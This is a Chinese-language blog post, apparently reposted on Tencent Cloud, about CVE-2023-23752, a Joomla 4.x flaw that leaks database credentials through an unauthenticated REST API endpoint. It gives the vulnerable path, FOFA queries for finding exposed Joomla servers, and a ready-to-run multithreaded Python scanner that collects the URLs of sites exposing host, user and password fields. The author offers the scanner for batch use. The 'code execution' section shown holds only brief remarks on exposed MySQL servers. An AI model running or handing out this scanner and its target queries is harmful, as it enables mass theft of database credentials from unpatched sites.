前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[附下载 ] Joomla未授权访问漏洞到代码执行

[附下载 ] Joomla未授权访问漏洞到代码执行

作者头像
网络安全自修室
发布2023-09-02 17:10:59
2650
发布2023-09-02 17:10:59
举报
1

免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

2

内容速览

Joomla是一套全球知名的内容管理系统(CMS),其使用PHP语言加上MySQL数据库所开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。

2月16日,Joomla官方发布安全公告,修复了Joomla! CMS中的一个未授权访问漏洞(CVE-2023-23752),目前该漏洞的细节及PoC/EXP已公开。

漏洞介绍

在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

Joomla! CMS 版本4.0.0-4.2.7中 由于对web 服务端点访问限制不当,可能导致未授权访问Rest API,造成敏感信息泄露(如数据库账号密码等)。

受影响版本

4.0.0 <= Joomla <= 4.2.7

不受影响版本Joomla >= 4.2.8

Joomla 3及以下版本均不受该漏洞影响

漏洞详情

在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

未授权路径在:

代码语言:javascript
复制
/api/index.php/v1/config/application?public=true

我们可以直接看到数据库的配置信息。

image.png

漏洞复现

FOFA指纹

代码语言:javascript
复制
product="Joomla"

image.png

或者

代码语言:javascript
复制
body="Joomla! 4?"

工具介绍

这里话不多说,直接给上批量POC给大家玩。

代码语言:javascript
复制

from queue import Queue
from threading import Thread, Lock

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BASE_URL = "/api/index.php/v1/config/application?public=true"


def write_Result(url):
    with open("resuslt.txt", "a", encoding="utf-8") as f:
        f.write(url + "\n")


def ReadFile(fQueue: Queue):
    # self.file = 要读取的文本
    # 当前测试为静态路径
    with open(r"text.txt", 'r', encoding='utf-8') as file:
        for file in file.readlines():
            f = file.replace("\n", '') + BASE_URL
            fQueue.put(f)


class A(Thread):
    def __init__(self, a):
        super(A, self).__init__()
        self.queue = a
        self.setDaemon(True)

    def run(self) -> None:
        try:
            # print(url)
            response = requests.get(self.queue, verify=False)
            # print("URL:{} STATUS:{}".format(response.url, response.status_code))
            if response.status_code == 200 and response.text.find("host") != -1 and response.text.find("user") != -1 and response.text.find("password") != -1:
                write_Result(self.queue)
                print("URL:{} STATUS:{}".format(response.url, response.status_code))
        except Exception as e:
            pass


q = Queue()
ReadFile(q)
while True:
    url = q.get()
    A(url).start()
    if q.empty():
        break

缺依赖的话自行导入即可使用,使用命令:

代码语言:javascript
复制
python poc.py # 同级目录下把源地址放到text.txt即可,自用写死了

结果会生成result.txt在目录下:

结果是写入的漏洞地址:

但这里推荐一款使用python编写的验证工具,也可以批量验证该漏洞

工具下载地址,见文章底部

代码执行思路

根据面向互联网的 Joomla! 版本,我们认为此漏洞虽然危险,但从来都不是一个大问题(至少没有接近Drupelgaddon )

要知道我们的测试 MySQL 服务器已绑定到127.0.0.1,因此远程攻击者无法访问该服务器,从而使凭据几乎毫无用处。

将 MySQL 绑定到 localhost 应该是最常见的配置,它严格限制了这种凭证泄漏。

然而,似乎有大量面向互联网的 Joomla! 使用未_绑定_到127.0.0.1. Censys 显示了数千个 Joomla! 服务器与暴露的 MySQL 服务器位于同一位置。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-06-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞介绍
  • 漏洞详情
  • 漏洞复现
    • 工具介绍
      • 代码执行思路
      相关产品与服务
      云数据库 MySQL
      腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档